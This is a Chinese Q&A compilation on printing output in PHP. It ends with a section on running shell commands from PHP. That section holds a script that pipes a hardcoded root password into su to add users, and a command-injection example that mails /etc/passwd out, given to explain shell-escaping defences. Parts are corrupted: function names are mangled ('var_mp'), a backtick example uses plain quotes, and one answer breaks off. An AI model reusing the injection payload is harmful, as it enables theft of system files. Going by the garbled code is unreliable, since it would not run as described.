當前位置:首頁 » 編程語言 » php輸出列印

php輸出列印

發布時間: 2022-11-07 02:51:22

A. php怎麼列印

echo "你輸入的內容";
print_r (列印的變數)

B. 用php列印輸出班級,學號,性別,聯系方式等個人信息

首先你得有個地方儲存學生信息的地方,比如數組或者多個變數,然後使用輸出結構比如:echo $name...或者echo $info[『name』]...,希望能幫到你

C. php 怎麼實現列印 功能啊 直接列印html中的table 而且為word格式 table里的內容是通過資料庫獲取出來的

你的列印是不是編程語言裡面說的列印,例如basic語言的print語句,如果是的話,在PHP裡面使用echo語句列印內容,例如:
echo '<table border=1><tr><td>1<td>2</table>';

如果你是希望程序運行後在列印機上列印輸出內容,那可能比較復雜,而且不是PHP的強項,需要編寫許多查找列印機的代碼,簡單的做法是把數據送我特殊設備,可以使用file_put_contents函數,例如:
file_put_contents('PRN:', 'print test');

D. php中怎麼列印數組啊

php中列印數組的步驟如下:

1、首先在編輯器中的菜單欄中點擊文件,然後點擊新建。

E. PHP有沒有列印功能列印頁面中的某個div的內容有可能嗎

php有4種輸出方式:

  1. echo 只能列印字元串和數字;

  2. print 只能列印字元串和數字;

  3. print_r 能列印字元串數字及數組,對象;

  4. var_mp 能列印字元串數字數字和對象的詳細信息.

至於你說的列印某個div的內容這個是不行的, 用js就可以了, js本來就是和html混合使用的. 因為php的代碼運行需要伺服器支持才行, 而html代碼和js代碼則是靠瀏覽器解析即可, 兩者是不一樣的.

F. 如何php實現本地列印

php 是在伺服器端執行的, 無法直接調用客戶端列印機, 要使用客戶端本地列印 只能用php生成內容 用 javascript 來實現; 推薦使用 jquery.printarea.js,插件 把要列印的內容用ajax放到一個div 然後列印這個div


<scripttype="text/javascript"src="../js/jquery.min.js"></script>
<scripttype="text/javascript"src="../js/jquery.printarea.js"></script>
<script>
functionprint_xx(){
$("#touming_div").css("visibility","visible");
$("#xxtj_div").load("./getprint.php",{t_table_no:cur_t_table,act:4},function(){
$("#touming_div").css("visibility","hidden");
$("#xxtj_div").printArea();//列印getprint.php輸出的內容
});
}
</script>

G. php文件如何列印

php 並不能使用列印機列印,只能 弄出數據 和 樣式來進行列印
所用的列印功能 是 瀏覽器本身自帶的

H. PHP輸出列印100到200之間能夠被3整除的數字,每次列印均需換行

<?php
for($n=100;$n<201;$n=$n+1){//循環從100到200
$a=$n/3;//除以三

if(substr_count($a,".") == 0){//如果小數點在$a裡面出現的次數是0,說明能整除
echo $n."<br>";//列印出$n和換行

}
}
?>

I. 在php命令行業中怎樣列印內容

在PHP中調用外部命令,可以用如下三種方法來實現:
1) 用PHP提供的專門函數

PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])

system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:

復制代碼
代碼如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型:string exec (string command [, string array [, int return_var]])
exec
()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array
可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二
個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:

復制代碼
代碼如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標准輸出設備上。所以passthru()函數經常用來調用象pbmplus
(Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:

復制代碼
代碼如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2)
用popen()函數打開進程

上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。

popen
()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一
的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。

例子1:

復制代碼
代碼如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2:

復制代碼
代碼如下:

<?php
/* PHP中如何增加一個系統用戶

下面是一段常式,增加一個名字為james的用戶,
root密碼是 verygood。僅供參考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3)
用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如:

復制代碼
代碼如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

這個腳本的輸出就象:
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考慮些什麼看

要考慮兩個問題:安全性和超時。

看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地
址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程序來發送這
個文件。程序就象這樣:

復制代碼
代碼如下:

<?php
system("mail $to <
procts.txt");
echo "我們的產品目錄已經發送到你的信箱:$to";
?>

用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail [email protected] < /etc/passwd ;'
那麼這條命令最終變成:

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信,無論哪個網路管理人員見到這樣的命令,都會嚇出一身冷汗來。

好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字元串
中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入
(<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字元串兩邊加上單引號,並把字元串中的單引號轉義,這樣這個字元串
就可以安全地作為命令的參數。
再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運
行。但在默認情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是
把命令的輸出重定向到另外一個文件或流中,如:

復制代碼
代碼如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

J. php怎麼輸出列印

echo "hello world"; 意思是輸出 hello world

php 還有printf () print_r() var_mp() 函數

熱點內容
7z解壓很慢 發布:2025-01-11 16:51:23 瀏覽:940
電腦改文檔伺服器 發布:2025-01-11 16:41:14 瀏覽:869
編譯匯編語言實例 發布:2025-01-11 16:36:55 瀏覽:670
海康ntp校時伺服器地址 發布:2025-01-11 16:34:35 瀏覽:743
伺服器運行超時怎麼辦 發布:2025-01-11 16:34:32 瀏覽:298
人妖迅雷種子ftp 發布:2025-01-11 16:33:04 瀏覽:916
python將列表轉化為字元串 發布:2025-01-11 16:32:11 瀏覽:192
大疆穩定器wifi連接初始密碼多少 發布:2025-01-11 16:25:36 瀏覽:890
專線伺服器運行的項目如何訪問 發布:2025-01-11 16:15:13 瀏覽:720
小米智能攝像機雲存儲 發布:2025-01-11 16:12:08 瀏覽:556